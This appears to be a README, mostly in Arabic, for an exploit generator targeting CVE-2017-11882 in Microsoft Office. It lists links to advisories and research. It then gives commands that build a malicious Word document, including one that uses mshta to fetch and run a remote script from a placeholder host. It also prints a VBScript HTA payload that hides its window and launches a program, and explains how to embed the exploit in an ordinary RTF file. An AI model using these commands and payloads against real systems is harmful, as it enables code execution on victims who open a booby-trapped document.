
CVE-2017-11882 من https://github.com/embedi/CVE-2017-11882
43b النص الأصلي من https://github.com/embedi/CVE-2017-11882
109b النص الأصلي من https://github.com/unamer/CVE-2017-11882/ (تحية، الآن كود unamer يمكنه تنفيذ شيلكود~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
استخدم mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
طول الأمر لـ 43b لا يتجاوز 43 بايت، طول الأمر لـ 109b لا يتجاوز 109 بايت
مجلد example يحتوي على ملف .rtf يستغل ثغرة CVE-2017-11882 ويقوم بتشغيل الآلة الحاسبة في النظام.
في الواقع، طريقة المحتوى المخصص تعلمتها من خبراء آخرين، وقد كتبتها كسكريبت منذ فترة طويلة. لم أكن أنوي نشره في البداية، ولكن بعد أن رأيت أحد أعضاء الفريق قد نشره، لم يكن أمامي خيار سوى نشره. الطريقة بسيطة جدًا: فقط افتح مستند rtf عادي في محرر نصوص، انسخ كل المحتوى قبل {\*\datastore، واستبدل كل المحتوى قبل {\object\objautlink\objupdate، لذا كتابتها في سكريبت أمر بسيط جدًا.
طريقة استخدام المحتوى المخصص، اختر أي سكريبت:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
المحتوى المخصص موجود في input.rtf.
بخصوص سكريبت unamer الأخير الذي يبلغ طوله 605 بايت، لن أقوم بتحديثه، يمكن للمهتمين تعديله بأنفسهم.